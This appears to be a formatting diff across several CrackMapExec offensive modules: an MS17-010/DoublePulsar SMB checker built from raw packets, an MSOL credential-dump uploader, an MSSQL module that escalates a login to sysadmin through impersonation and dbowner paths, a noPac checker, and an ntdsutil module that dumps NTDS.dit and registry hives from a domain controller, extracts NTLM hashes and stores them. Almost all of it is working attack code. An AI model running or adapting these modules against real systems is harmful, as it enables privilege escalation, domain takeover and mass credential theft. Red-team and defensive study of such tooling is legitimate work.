hexdata.extend(proto)
hexdata.extend(proto)
return "".join(hexdata)
def calculate_doublepulsar_xor_key(s):
"""Calaculate Doublepulsar Xor Key
"""
x = (2 * s ^ (((s & 0xff00 | (s << 16)) << 8) | (((s >> 16) | s & 0xff0000) >> 8)))
x = x & 0xffffffff
"""Calaculate Doublepulsar Xor Key"""
x = 2 * s ^ (((s & 0xFF00 | (s << 16)) << 8) | (((s >> 16) | s & 0xFF0000) >> 8))
x = x & 0xFFFFFFFF
return x
def negotiate_proto_request():
"""Generate a negotiate_proto_request packet.
"""
netbios = [
'\x00',
'\x00\x00\x54'
]
"""Generate a negotiate_proto_request packet."""
netbios = ["\x00", "\x00\x00\x54"]
smb_header = [
'\xFF\x53\x4D\x42',
'\x72',
'\x00\x00\x00\x00',
'\x18',
'\x01\x28',
'\x00\x00',
'\x00\x00\x00\x00\x00\x00\x00\x00',
'\x00\x00',
'\x00\x00',
'\x2F\x4B',
'\x00\x00',
'\xC5\x5E'
"\xFF\x53\x4D\x42",
"\x72",
"\x00\x00\x00\x00",
"\x18",
"\x01\x28",
"\x00\x00",
"\x00\x00\x00\x00\x00\x00\x00\x00",
"\x00\x00",
"\x00\x00",
"\x2F\x4B",
"\x00\x00",
"\xC5\x5E",
]
negotiate_proto_request = [
'\x00',
'\x31\x00',
'\x02',
'\x4C\x41\x4E\x4D\x41\x4E\x31\x2E\x30\x00',
'\x02',
'\x4C\x4D\x31\x2E\x32\x58\x30\x30\x32\x00',
'\x02',
'\x4E\x54\x20\x4C\x41\x4E\x4D\x41\x4E\x20\x31\x2E\x30\x00',
'\x02',
'\x4E\x54\x20\x4C\x4D\x20\x30\x2E\x31\x32\x00'
"\x00",
"\x31\x00",
"\x02",
"\x4C\x41\x4E\x4D\x41\x4E\x31\x2E\x30\x00",
"\x02",
"\x4C\x4D\x31\x2E\x32\x58\x30\x30\x32\x00",
"\x02",
"\x4E\x54\x20\x4C\x41\x4E\x4D\x41\x4E\x20\x31\x2E\x30\x00",
"\x02",
"\x4E\x54\x20\x4C\x4D\x20\x30\x2E\x31\x32\x00",
]
return generate_smb_proto_payload(netbios, smb_header, negotiate_proto_request)
def session_setup_andx_request():
"""Generate session setuo andx request.
"""
netbios = [
'\x00',
'\x00\x00\x63'
]
"""Generate session setuo andx request."""
netbios = ["\x00", "\x00\x00\x63"]
smb_header = [
'\xFF\x53\x4D\x42',
'\x73',
'\x00\x00\x00\x00',
'\x18',
'\x01\x20',
'\x00\x00',
'\x00\x00\x00\x00\x00\x00\x00\x00',
'\x00\x00',
'\x00\x00',
'\x2F\x4B',
'\x00\x00',
'\xC5\x5E',
"\xFF\x53\x4D\x42",
"\x73",
"\x00\x00\x00\x00",
"\x18",
"\x01\x20",
"\x00\x00",
"\x00\x00\x00\x00\x00\x00\x00\x00",
"\x00\x00",
"\x00\x00",
"\x2F\x4B",
"\x00\x00",
"\xC5\x5E",
]
session_setup_andx_request = [
'\x0D',
'\xFF',
'\x00',
'\x00\x00',
'\xDF\xFF',
'\x02\x00',
'\x01\x00',
'\x00\x00\x00\x00',
'\x00\x00',
'\x00\x00',
'\x00\x00\x00\x00',
'\x40\x00\x00\x00',
'\x26\x00',
'\x00',
'\x2e\x00',
'\x57\x69\x6e\x64\x6f\x77\x73\x20\x32\x30\x30\x30\x20\x32\x31\x39\x35\x00',
'\x57\x69\x6e\x64\x6f\x77\x73\x20\x32\x30\x30\x30\x20\x35\x2e\x30\x00',
"\x0D",
"\xFF",
"\x00",
"\x00\x00",
"\xDF\xFF",
"\x02\x00",
"\x01\x00",
"\x00\x00\x00\x00",
"\x00\x00",
"\x00\x00",
"\x00\x00\x00\x00",
"\x40\x00\x00\x00",
"\x26\x00",
"\x00",
"\x2e\x00",
"\x57\x69\x6e\x64\x6f\x77\x73\x20\x32\x30\x30\x30\x20\x32\x31\x39\x35\x00",
"\x57\x69\x6e\x64\x6f\x77\x73\x20\x32\x30\x30\x30\x20\x35\x2e\x30\x00",
]
return generate_smb_proto_payload(netbios, smb_header, session_setup_andx_request)
def tree_connect_andx_request(ip, userid):
"""Generate tree connect andx request.
"""
"""Generate tree connect andx request."""
netbios = [
'\x00',
'\x00\x00\x47'
]
netbios = ["\x00", "\x00\x00\x47"]
smb_header = [
'\xFF\x53\x4D\x42',
'\x75',
'\x00\x00\x00\x00',
'\x18',
'\x01\x20',
'\x00\x00',
'\x00\x00\x00\x00\x00\x00\x00\x00',
'\x00\x00',
'\x00\x00',
'\x2F\x4B',
userid,
'\xC5\x5E'
"\xFF\x53\x4D\x42",
"\x75",
"\x00\x00\x00\x00",
"\x18",
"\x01\x20",
"\x00\x00",
"\x00\x00\x00\x00\x00\x00\x00\x00",
"\x00\x00",
"\x00\x00",
"\x2F\x4B",
userid,
"\xC5\x5E",
]
ipc = "\\\\{}\IPC$\x00".format(ip)
tree_connect_andx_request = [
'\x04',
'\xFF',
'\x00',
'\x00\x00',
'\x00\x00',
'\x01\x00',
'\x1A\x00',
'\x00',
ipc.encode(),
'\x3f\x3f\x3f\x3f\x3f\x00'
"\x04",
"\xFF",
"\x00",
"\x00\x00",
"\x00\x00",
"\x01\x00",
"\x1A\x00",
"\x00",
ipc.encode(),
"\x3f\x3f\x3f\x3f\x3f\x00",
]
length = len("".join(smb_header)) + len("".join(tree_connect_andx_request))
@@ -204,106 +186,98 @@ def tree_connect_andx_request(ip, userid):
def peeknamedpipe_request(treeid, processid, userid, multiplex_id):
"""Generate tran2 request
"""
"""Generate tran2 request"""
netbios = [
'\x00',
'\x00\x00\x4a'
]
netbios = ["\x00", "\x00\x00\x4a"]
smb_header = [
'\xFF\x53\x4D\x42',
'\x25',
'\x00\x00\x00\x00',
'\x18',
'\x01\x28',
'\x00\x00',
'\x00\x00\x00\x00\x00\x00\x00\x00',
'\x00\x00',
treeid,
processid,
userid,
multiplex_id
"\xFF\x53\x4D\x42",
"\x25",
"\x00\x00\x00\x00",
"\x18",
"\x01\x28",
"\x00\x00",
"\x00\x00\x00\x00\x00\x00\x00\x00",
"\x00\x00",
treeid,
processid,
userid,
multiplex_id,
]
tran_request = [
'\x10',
'\x00\x00',
'\x00\x00',
'\xff\xff',
'\xff\xff',
'\x00',
'\x00',
'\x00\x00',
'\x00\x00\x00\x00',
'\x00\x00',
'\x00\x00',
'\x4a\x00',
'\x00\x00',
'\x4a\x00',
'\x02',
'\x00',
'\x23\x00',
'\x00\x00',
'\x07\x00',
'\x5c\x50\x49\x50\x45\x5c\x00'
"\x10",
"\x00\x00",
"\x00\x00",
"\xff\xff",
"\xff\xff",
"\x00",
"\x00",
"\x00\x00",
"\x00\x00\x00\x00",
"\x00\x00",
"\x00\x00",
"\x4a\x00",
"\x00\x00",
"\x4a\x00",
"\x02",
"\x00",
"\x23\x00",
"\x00\x00",
"\x07\x00",
"\x5c\x50\x49\x50\x45\x5c\x00",
]
return generate_smb_proto_payload(netbios, smb_header, tran_request)
def trans2_request(treeid, processid, userid, multiplex_id):
"""Generate trans2 request.
"""
"""Generate trans2 request."""
netbios = [
'\x00',
'\x00\x00\x4f'
]
netbios = ["\x00", "\x00\x00\x4f"]
smb_header = [
'\xFF\x53\x4D\x42',
'\x32',
'\x00\x00\x00\x00',
'\x18',
'\x07\xc0',
'\x00\x00',
'\x00\x00\x00\x00\x00\x00\x00\x00',
'\x00\x00',
treeid,
processid,
userid,
multiplex_id
"\xFF\x53\x4D\x42",
"\x32",
"\x00\x00\x00\x00",
"\x18",
"\x07\xc0",
"\x00\x00",
"\x00\x00\x00\x00\x00\x00\x00\x00",
"\x00\x00",
treeid,
processid,
userid,
multiplex_id,
]
trans2_request = [
'\x0f',
'\x0c\x00',
'\x00\x00',
'\x01\x00',
'\x00\x00',
'\x00',
'\x00',
'\x00\x00',
'\xa6\xd9\xa4\x00',
'\x00\x00',
'\x0c\x00',
'\x42\x00',
'\x00\x00',
'\x4e\x00',
'\x01',
'\x00',
'\x0e\x00',
'\x00\x00',
'\x0c\x00' + '\x00' * 12
"\x0f",
"\x0c\x00",
"\x00\x00",
"\x01\x00",
"\x00\x00",
"\x00",
"\x00",
"\x00\x00",
"\xa6\xd9\xa4\x00",
"\x00\x00",
"\x0c\x00",
"\x42\x00",
"\x00\x00",
"\x4e\x00",
"\x01",
"\x00",
"\x0e\x00",
"\x00\x00",
"\x0c\x00" + "\x00" * 12,
]
return generate_smb_proto_payload(netbios, smb_header, trans2_request)
def check(ip, port=445):
"""Check if MS17_010 SMB Vulnerability exists.
"""
"""Check if MS17_010 SMB Vulnerability exists."""
try:
buffersize = 1024
timeout = 5.0
@@ -323,10 +297,10 @@ def check(ip, port=445):
smb_header = tcp_response[4:36]
smb = SMB_HEADER(smb_header)
user_id = struct.pack('<H', smb.user_id)
user_id = struct.pack("<H", smb.user_id)
session_setup_andx_response = tcp_response[36:]
native_os = session_setup_andx_response[9:].split('\x00')[0]
native_os = session_setup_andx_response[9:].split("\x00")[0]
raw_proto = tree_connect_andx_request(ip, user_id)
client.send(raw_proto)
@@ -336,10 +310,10 @@ def check(ip, port=445):
smb_header = tcp_response[4:36]
smb = SMB_HEADER(smb_header)
tree_id = struct.pack('<H', smb.tree_id)
process_id = struct.pack('<H', smb.process_id)
user_id = struct.pack('<H', smb.user_id)
multiplex_id = struct.pack('<H', smb.multiplex_id)
tree_id = struct.pack("<H", smb.tree_id)
process_id = struct.pack("<H", smb.process_id)
user_id = struct.pack("<H", smb.user_id)
multiplex_id = struct.pack("<H", smb.multiplex_id)
raw_proto = peeknamedpipe_request(tree_id, process_id, user_id, multiplex_id)
client.send(raw_proto)
@@ -349,12 +323,11 @@ def check(ip, port=445):
smb_header = tcp_response[4:36]
smb = SMB_HEADER(smb_header)
nt_status = struct.pack('BBH', smb.error_class, smb.reserved1, smb.error_code)
nt_status = struct.pack("BBH", smb.error_class, smb.reserved1, smb.error_code)
if nt_status == '\x05\x02\x00\xc0':
if nt_status == "\x05\x02\x00\xc0":
return True
elif nt_status in ('\x08\x00\x00\xc0', '\x22\x00\x00\xc0'):
elif nt_status in ("\x08\x00\x00\xc0", "\x22\x00\x00\xc0"):
return False
else:
return False
@@ -362,4 +335,4 @@ def check(ip, port=445):
except Exception as err:
return False
finally:
client.close()
client.close()
+4 -4
View File
@@ -1,4 +1,4 @@
# MSOL module for CME
# MSOL module for CME
# Author of the module : https://twitter.com/Daahtk
# Based on the article : https://blog.xpnsec.com/azuread-connect-for-redteam/
from sys import exit
@@ -37,7 +37,7 @@ class CMEModule:
self.use_embedded = True
self.msolmdl = self.cmd = ""
with open(get_ps_script('msol_dump/msol_dump.ps1'), 'r') as msolsc:
with open(get_ps_script("msol_dump/msol_dump.ps1"), "r") as msolsc:
self.msol_embedded = msolsc.read()
if "MSOL_PS1" in module_options:
@@ -51,7 +51,7 @@ class CMEModule:
def on_admin_login(self, context, connection):
if self.use_embedded:
file_to_upload = "/tmp/msol.ps1"
with open(file_to_upload, 'w') as msol:
with open(file_to_upload, "w") as msol:
msol.write(self.msol_embedded)
else:
if path.isfile(self.MSOL_PS1):
@@ -61,7 +61,7 @@ class CMEModule:
exit(1)
context.log.display(f"Uploading {self.msol}")
with open(file_to_upload, 'rb') as msol:
with open(file_to_upload, "rb") as msol:
try:
connection.conn.putFile(self.share, f"{self.tmp_share}{self.msol}", msol.read)
context.log.success(f"Msol script successfully uploaded")
+82 -110
View File
@@ -16,21 +16,30 @@ class User:
self.parent = None
self.is_sysadmin = False
self.dbowner = None
def __str__(self):
return f"User({self.username})"
class CMEModule:
"""
Enumerate MSSQL privileges and exploit them
Enumerate MSSQL privileges and exploit them
"""
name = 'mssql_priv'
name = "mssql_priv"
description = "Enumerate and exploit MSSQL privileges"
supported_protocols = ['mssql']
supported_protocols = ["mssql"]
opsec_safe = True
multiple_hosts = True
def __init__(self):
self.admin_privs = None
self.current_user = None
self.current_username = None
self.mssql_conn = None
self.action = None
self.context = None
def options(self, context, module_options):
"""
ACTION Specifies the action to perform:
@@ -39,9 +48,10 @@ class CMEModule:
- rollback (remove sysadmin privilege)
"""
self.action = None
self.context = context
if 'ACTION' in module_options:
self.action = module_options['ACTION']
if "ACTION" in module_options:
self.action = module_options["ACTION"]
def on_login(self, context, connection):
# get mssql connection
@@ -54,54 +64,35 @@ class CMEModule:
if self.action == "rollback":
if not self.current_user.is_sysadmin:
context.log.fail(
f"{self.current_username} is not sysadmin"
)
self.context.log.fail(f"{self.current_username} is not sysadmin")
return
if self.remove_sysadmin_priv():
context.log.success("sysadmin role removed")
self.context.log.success("sysadmin role removed")
else:
context.log.success("failed to remove sysadmin role")
self.context.log.success("failed to remove sysadmin role")
return
if self.current_user.is_sysadmin:
context.log.success(
f"{self.current_username} is already a sysadmin"
)
self.context.log.success(f"{self.current_username} is already a sysadmin")
return
# build path
self.perform_check(context, self.current_user)
self.perform_impersonation_check(self.current_user)
# look for a privesc path
target_user = self.browse_path(
context,
self.current_user,
self.current_user
)
target_user = self.browse_path(context, self.current_user, self.current_user)
if self.action == "privesc":
if not target_user:
context.log.fail("can't find any path to privesc")
self.context.log.fail("can't find any path to privesc")
else:
exec_as = self.build_exec_as_from_path(target_user)
# privesc via impersonation privilege
if target_user.is_sysadmin:
self.do_impersonation_privesc(
self.current_username,
exec_as
)
self.do_impersonation_privesc(self.current_username, exec_as)
# privesc via dbowner privilege
elif target_user.dbowner:
self.do_dbowner_privesc(target_user.dbowner, exec_as)
if self.is_admin_user(self.current_username):
context.log.success(
f"{self.current_username} is now a sysadmin! " +
highlight(
'({})'.format(
context.conf.get('CME', 'pwn3d_label')
)
)
)
self.context.log.success(f"{self.current_username} is now a sysadmin! " + highlight("({})".format(self.context.conf.get("CME", "pwn3d_label"))))
def build_exec_as_from_path(self, target_user):
path = [target_user.username]
@@ -115,49 +106,39 @@ class CMEModule:
def browse_path(self, context, initial_user: User, user: User) -> User:
if initial_user.is_sysadmin:
context.log.success(f"{initial_user.username} is sysadmin")
self.context.log.success(f"{initial_user.username} is sysadmin")
return initial_user
elif initial_user.dbowner:
context.log.success(
f"{initial_user.username} can privesc via dbowner"
)
self.context.log.success(f"{initial_user.username} can privesc via dbowner")
return initial_user
for grantor in user.grantors:
if grantor.is_sysadmin:
context.log.success(
f"{user.username} can impersonate " \
f"{grantor.username} (sysadmin)"
)
self.context.log.success(f"{user.username} can impersonate: " f"{grantor.username} (sysadmin)")
return grantor
elif grantor.dbowner:
context.log.success(
f"{user.username} can impersonate {grantor.username} " \
f"(which can privesc via dbowner)"
)
self.context.log.success(f"{user.username} can impersonate: {grantor.username} (which can privesc via dbowner)")
return grantor
else:
context.log.display(
f"{user.username} can impersonate {grantor.username}"
)
self.context.log.display(f"{user.username} can impersonate: {grantor.username}")
return self.browse_path(context, initial_user, grantor)
def query_and_get_output(self, query):
try:
self.mssql_conn.sql_query(query)
self.mssql_conn.printRows()
query_output = self.mssql_conn._MSSQL__rowsPrinter.getMessage()
query_output = query_output.strip("\n-")
return query_output
except Exception as e:
return False
# try:
results = self.mssql_conn.sql_query(query)
# self.mssql_conn.printRows()
# query_output = self.mssql_conn._MSSQL__rowsPrinter.getMessage()
# query_output = results.strip("\n-")
return results
# except Exception as e:
# return False
def sql_exec_as(self, grantors: list) -> str:
exec_as = []
for grantor in grantors:
exec_as.append(f"EXECUTE AS LOGIN = '{grantor}';")
return ''.join(exec_as)
return "".join(exec_as)
def perform_check(self, context, user: User, grantors=[]):
def perform_impersonation_check(self, user: User, grantors=[]):
# build EXECUTE AS if any grantors is specified
exec_as = self.sql_exec_as(grantors)
# do we have any privilege ?
@@ -170,16 +151,15 @@ class CMEModule:
if new_grantor == user.username:
continue
# create a new user and add it as a grantor of the current user
new_user = User(new_grantor)
new_user.parent = user
user.grantors.append(
new_user
)
grantors.append(new_grantor)
# perform the same check on the grantor
self.perform_check(context, new_user, grantors)
if new_grantor not in grantors:
new_user = User(new_grantor)
new_user.parent = user
user.grantors.append(new_user)
grantors.append(new_grantor)
# perform the same check on the grantor
self.perform_impersonation_check(new_user, grantors)
def update_priv(self, user: User, exec_as=''):
def update_priv(self, user: User, exec_as=""):
if self.is_admin_user(user.username):
user.is_sysadmin = True
return True
@@ -187,28 +167,29 @@ class CMEModule:
return user.dbowner
def get_current_username(self) -> str:
return self.query_and_get_output("select SUSER_NAME()")
return self.query_and_get_output("select SUSER_NAME()")[0][""]
def is_admin(self, exec_as='') -> bool:
res = self.query_and_get_output(
exec_as +
"SELECT IS_SRVROLEMEMBER('sysadmin')"
)
def is_admin(self, exec_as="") -> bool:
res = self.query_and_get_output(exec_as + "SELECT IS_SRVROLEMEMBER('sysadmin')")
self.revert_context(exec_as)
if int(res):
is_admin = res[0][""]
self.context.log.debug(f"IsAdmin Result: {is_admin}")
if is_admin:
self.context.log.debug(f"User is admin!")
self.admin_privs = True
return True
else:
return False
def get_databases(self, exec_as='') -> list:
res = self.query_and_get_output(
exec_as + "SELECT name FROM master..sysdatabases")
def get_databases(self, exec_as="") -> list:
res = self.query_and_get_output(exec_as + "SELECT name FROM master..sysdatabases")
self.revert_context(exec_as)
tables = res.split("\n\n")[2:]
self.context.log.debug(f"Response: {res}")
self.context.log.debug(f"Response Type: {type(res)}")
tables = [table["name"] for table in res]
return tables
def is_dbowner(self, database, exec_as='') -> bool:
def is_dbowner(self, database, exec_as="") -> bool:
query = f"""select rp.name as database_role
from [{database}].sys.database_role_members drm
join [{database}].sys.database_principals rp
@@ -216,22 +197,25 @@ class CMEModule:
join [{database}].sys.database_principals mp
on (drm.member_principal_id = mp.principal_id)
where rp.name = 'db_owner' and mp.name = SYSTEM_USER"""
self.context.log.debug(f"Query: {query}")
res = self.query_and_get_output(exec_as + query)
self.context.log.debug(f"Response: {res}")
self.revert_context(exec_as)
try:
res = res.split("\n\n")[2]
except IndexError as e:
return False
return res == "db_owner"
if res:
if "database_role" in res[0] and res[0]["database_role"] == "db_owner":
return True
else:
return False
return False
def find_dbowner_priv(self, databases, exec_as='') -> list:
def find_dbowner_priv(self, databases, exec_as="") -> list:
match = []
for database in databases:
if self.is_dbowner(database, exec_as):
match.append(database)
return match
def find_trusted_db(self, exec_as='') -> list:
def find_trusted_db(self, exec_as="") -> list:
query = """SELECT d.name AS DATABASENAME
FROM sys.server_principals r
INNER JOIN sys.server_role_members m
@@ -243,14 +227,10 @@ class CMEModule:
WHERE is_trustworthy_on = 1 AND d.name NOT IN ('MSDB')
and r.type = 'R' and r.name = N'sysadmin'"""
res = self.query_and_get_output(exec_as + query)
# revert context
self.revert_context(exec_as)
try:
return res.split("\n\n")[2:]
except IndexError:
return []
return res
def check_dbowner_privesc(self, exec_as=''):
def check_dbowner_privesc(self, exec_as=""):
databases = self.get_databases(exec_as)
dbowner = self.find_dbowner_priv(databases, exec_as)
trusted_db = self.find_trusted_db(exec_as)
@@ -260,7 +240,7 @@ class CMEModule:
return db
return None
def do_dbowner_privesc(self, database, exec_as=''):
def do_dbowner_privesc(self, database, exec_as=""):
# change context if necessary
self.query_and_get_output(exec_as)
# use database
@@ -276,39 +256,31 @@ class CMEModule:
self.query_and_get_output("DROP PROCEDURE sp_elevate_me;")
self.revert_context(exec_as)
def do_impersonation_privesc(self, username, exec_as=''):
def do_impersonation_privesc(self, username, exec_as=""):
# change context if necessary
self.query_and_get_output(exec_as)
# update our privilege
self.query_and_get_output(
f"EXEC sp_addsrvrolemember '{username}', 'sysadmin'"
)
self.query_and_get_output(f"EXEC sp_addsrvrolemember '{username}', 'sysadmin'")
self.revert_context(exec_as)
def get_impersonate_users(self, exec_as='') -> list:
def get_impersonate_users(self, exec_as="") -> list:
query = """SELECT DISTINCT b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name like 'IMPERSONATE%'"""
res = self.query_and_get_output(exec_as + query)
# self.context.log.debug(f"Result: {res}")
self.revert_context(exec_as)
try:
return res.split("\n\n")[2:]
except IndexError:
return []
users = [user["name"] for user in res]
return users
def remove_sysadmin_priv(self) -> bool:
res = self.query_and_get_output(
f"EXEC sp_dropsrvrolemember '{self.current_username}', 'sysadmin'"
)
res = self.query_and_get_output(f"EXEC sp_dropsrvrolemember '{self.current_username}', 'sysadmin'")
return not self.is_admin()
def is_admin_user(self, username) -> bool:
res = self.query_and_get_output(
f"SELECT IS_SRVROLEMEMBER('sysadmin', '{username}')"
)
res = self.query_and_get_output(f"SELECT IS_SRVROLEMEMBER('sysadmin', '{username}')")
try:
if int(res):
self.admin_privs = True
@@ -319,4 +291,4 @@ class CMEModule:
return False
def revert_context(self, exec_as):
self.query_and_get_output("REVERT;"*exec_as.count("EXECUTE"))
self.query_and_get_output("REVERT;" * exec_as.count("EXECUTE"))
+24 -15
View File
File diff suppressed because one or more lines are too long
+5 -6
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Credit to https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html
# @exploitph @Evi1cg
# @exploitph @Evi1cg
# module by @mpgn_x64
from binascii import unhexlify
@@ -9,8 +9,8 @@ from impacket.krb5.kerberosv5 import getKerberosTGT
from impacket.krb5 import constants
from impacket.krb5.types import Principal
class CMEModule:
class CMEModule:
name = "nopac"
description = "Check if the DC is vulnerable to CVE-2021-42278 and CVE-2021-42287 to impersonate DA from standard domain user"
supported_protocols = ["smb"]
@@ -18,8 +18,7 @@ class CMEModule:
multiple_hosts = True
def options(self, context, module_options):
"""
"""
""" """
def on_login(self, context, connection):
user_name = Principal(connection.username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
@@ -32,7 +31,7 @@ class CMEModule:
unhexlify(connection.nthash),
connection.aesKey,
connection.host,
requestPAC=True
requestPAC=True,
)
context.log.highlight("TGT with PAC size " + str(len(tgt_with_pac)))
tgt_no_pac, cipher, old_session_key, session_key = getKerberosTGT(
@@ -43,7 +42,7 @@ class CMEModule:
unhexlify(connection.nthash),
connection.aesKey,
connection.host,
requestPAC=False
requestPAC=False,
)
context.log.highlight("TGT without PAC size " + str(len(tgt_no_pac)))
if len(tgt_no_pac) < len(tgt_with_pac):
+82 -50
View File
@@ -8,16 +8,18 @@ from impacket.examples.secretsdump import LocalOperations, NTDSHashes
from cme.helpers.logger import highlight
from cme.helpers.misc import validate_ntlm
class CMEModule:
"""
Dump NTDS with ntdsutil
Module by @zblurx
Dump NTDS with ntdsutil
Module by @zblurx
"""
name = 'ntdsutil'
description = 'Dump NTDS with ntdsutil'
supported_protocols = ['smb']
opsec_safe= True
name = "ntdsutil"
description = "Dump NTDS with ntdsutil"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = False
def options(self, context, module_options):
@@ -34,58 +36,70 @@ class CMEModule:
self.dir_result = self.dir_result = tempfile.mkdtemp()
self.no_delete = False
if 'DIR_RESULT' in module_options:
self.dir_result = os.path.abspath(module_options['DIR_RESULT'])
if "DIR_RESULT" in module_options:
self.dir_result = os.path.abspath(module_options["DIR_RESULT"])
self.no_delete = True
def on_admin_login(self, context, connection):
command = "powershell \"ntdsutil.exe 'ac i ntds' 'ifm' 'create full %s%s' q q\"" % (self.tmp_dir, self.dump_location)
context.log.display('Dumping ntds with ntdsutil.exe to %s%s' % (self.tmp_dir,self.dump_location))
context.log.highlight('Dumping the NTDS, this could take a while so go grab a redbull...')
context.log.debug('Executing command {}'.format(command))
context.log.display("Dumping ntds with ntdsutil.exe to %s%s" % (self.tmp_dir, self.dump_location))
context.log.highlight("Dumping the NTDS, this could take a while so go grab a redbull...")
context.log.debug("Executing command {}".format(command))
p = connection.execute(command, True)
context.log.debug(p)
if 'success' in p:
if "success" in p:
context.log.success("NTDS.dit dumped to %s%s" % (self.tmp_dir, self.dump_location))
else:
context.log.fail("Error while dumping NTDS")
return
os.makedirs(self.dir_result, exist_ok=True)
os.makedirs(os.path.join(self.dir_result, 'Active Directory'), exist_ok=True)
os.makedirs(os.path.join(self.dir_result, 'registry'), exist_ok=True)
os.makedirs(os.path.join(self.dir_result, "Active Directory"), exist_ok=True)
os.makedirs(os.path.join(self.dir_result, "registry"), exist_ok=True)
context.log.display("Copying NTDS dump to %s" % self.dir_result)
context.log.debug('Copy ntds.dit to host')
with open(os.path.join(self.dir_result,'Active Directory','ntds.dit'), 'wb+') as dump_file:
context.log.debug("Copy ntds.dit to host")
with open(os.path.join(self.dir_result, "Active Directory", "ntds.dit"), "wb+") as dump_file:
try:
connection.conn.getFile(self.share, self.tmp_share + self.dump_location + "\\" + 'Active Directory\\ntds.dit', dump_file.write)
context.log.debug('Copied ntds.dit file')
connection.conn.getFile(
self.share,
self.tmp_share + self.dump_location + "\\" + "Active Directory\\ntds.dit",
dump_file.write,
)
context.log.debug("Copied ntds.dit file")
except Exception as e:
context.log.fail('Error while get ntds.dit file: {}'.format(e))
context.log.fail("Error while get ntds.dit file: {}".format(e))
context.log.debug('Copy SYSTEM to host')
with open(os.path.join(self.dir_result,'registry','SYSTEM'), 'wb+') as dump_file:
context.log.debug("Copy SYSTEM to host")
with open(os.path.join(self.dir_result, "registry", "SYSTEM"), "wb+") as dump_file:
try:
connection.conn.getFile(self.share, self.tmp_share + self.dump_location + "\\" + 'registry\\SYSTEM', dump_file.write)
context.log.debug('Copied SYSTEM file')
connection.conn.getFile(
self.share,
self.tmp_share + self.dump_location + "\\" + "registry\\SYSTEM",
dump_file.write,
)
context.log.debug("Copied SYSTEM file")
except Exception as e:
context.log.fail('Error while get SYSTEM file: {}'.format(e))
context.log.fail("Error while get SYSTEM file: {}".format(e))
context.log.debug('Copy SECURITY to host')
with open(os.path.join(self.dir_result,'registry','SECURITY'), 'wb+') as dump_file:
context.log.debug("Copy SECURITY to host")
with open(os.path.join(self.dir_result, "registry", "SECURITY"), "wb+") as dump_file:
try:
connection.conn.getFile(self.share, self.tmp_share + self.dump_location + "\\" + 'registry\\SECURITY', dump_file.write)
context.log.debug('Copied SECURITY file')
connection.conn.getFile(
self.share,
self.tmp_share + self.dump_location + "\\" + "registry\\SECURITY",
dump_file.write,
)
context.log.debug("Copied SECURITY file")
except Exception as e:
context.log.fail('Error while get SECURITY file: {}'.format(e))
context.log.fail("Error while get SECURITY file: {}".format(e))
context.log.display("NTDS dump copied to %s" % self.dir_result)
try:
command = "rmdir /s /q %s%s" % (self.tmp_dir, self.dump_location)
p = connection.execute(command, True)
context.log.success('Deleted %s%s remote dump directory' % (self.tmp_dir, self.dump_location))
context.log.success("Deleted %s%s remote dump directory" % (self.tmp_dir, self.dump_location))
except Exception as e:
context.log.fail('Error deleting {} remote directory on share {}: {}'.format(self.dump_location, self.share, e))
context.log.fail("Error deleting {} remote directory on share {}: {}".format(self.dump_location, self.share, e))
localOperations = LocalOperations("%s/registry/SYSTEM" % self.dir_result)
bootKey = localOperations.getBootKey()
@@ -102,18 +116,18 @@ class CMEModule:
else:
ntds_hash = ntds_hash.split(" ")[0]
context.log.highlight(ntds_hash)
if ntds_hash.find('$') == -1:
if ntds_hash.find('\\') != -1:
domain, hash = ntds_hash.split('\\')
if ntds_hash.find("$") == -1:
if ntds_hash.find("\\") != -1:
domain, hash = ntds_hash.split("\\")
else:
domain = connection.domain
hash = ntds_hash
try:
username,_,lmhash,nthash,_,_,_ = hash.split(':')
parsed_hash = ':'.join((lmhash, nthash))
username, _, lmhash, nthash, _, _, _ = hash.split(":")
parsed_hash = ":".join((lmhash, nthash))
if validate_ntlm(parsed_hash):
context.db.add_credential('hash', domain, username, parsed_hash, pillaged_from=host_id)
context.db.add_credential("hash", domain, username, parsed_hash, pillaged_from=host_id)
add_ntds_hash.added_to_db += 1
return
raise
@@ -121,28 +135,46 @@ class CMEModule:
context.log.debug("Dumped hash is not NTLM, not adding to db for now ;)")
else:
context.log.debug("Dumped hash is a computer account, not adding to db")
add_ntds_hash.ntds_hashes = 0
add_ntds_hash.added_to_db = 0
NTDS = NTDSHashes("%s/Active Directory/ntds.dit" % self.dir_result, bootKey, isRemote=False, history=False, noLMHash=noLMHash,
remoteOps=None, useVSSMethod=True, justNTLM=True,
pwdLastSet=False, resumeSession=None, outputFileName=connection.output_filename,
justUser=None, printUserStatus=True,
perSecretCallback = lambda secretType, secret : add_ntds_hash(secret, host_id))
NTDS = NTDSHashes(
"%s/Active Directory/ntds.dit" % self.dir_result,
bootKey,
isRemote=False,
history=False,
noLMHash=noLMHash,
remoteOps=None,
useVSSMethod=True,
justNTLM=True,
pwdLastSet=False,
resumeSession=None,
outputFileName=connection.output_filename,
justUser=None,
printUserStatus=True,
perSecretCallback=lambda secretType, secret: add_ntds_hash(secret, host_id),
)
try:
context.log.success('Dumping the NTDS, this could take a while so go grab a redbull...')
context.log.success("Dumping the NTDS, this could take a while so go grab a redbull...")
NTDS.dump()
context.log.success('Dumped {} NTDS hashes to {} of which {} were added to the database'.format(highlight(add_ntds_hash.ntds_hashes), connection.output_filename + '.ntds', highlight(add_ntds_hash.added_to_db)))
context.log.success(
"Dumped {} NTDS hashes to {} of which {} were added to the database".format(
highlight(add_ntds_hash.ntds_hashes),
connection.output_filename + ".ntds",
highlight(add_ntds_hash.added_to_db),
)
)
context.log.display("To extract only enabled accounts from the output file, run the following command: ")
context.log.display("grep -iv disabled {} | cut -d ':' -f1".format(connection.output_filename + '.ntds'))
context.log.display("grep -iv disabled {} | cut -d ':' -f1".format(connection.output_filename + ".ntds"))
except Exception as e:
context.log.fail(e)
NTDS.finish()
if self.no_delete:
context.log.display('Raw NTDS dump copied to %s, parse it with:' % self.dir_result)
context.log.display("secretsdump.py -system %s/registry/SYSTEM -security %s/registry/SECURITY -ntds \"%s/Active Directory/ntds.dit\" LOCAL" % (self.dir_result, self.dir_result, self.dir_result))
context.log.display("Raw NTDS dump copied to %s, parse it with:" % self.dir_result)
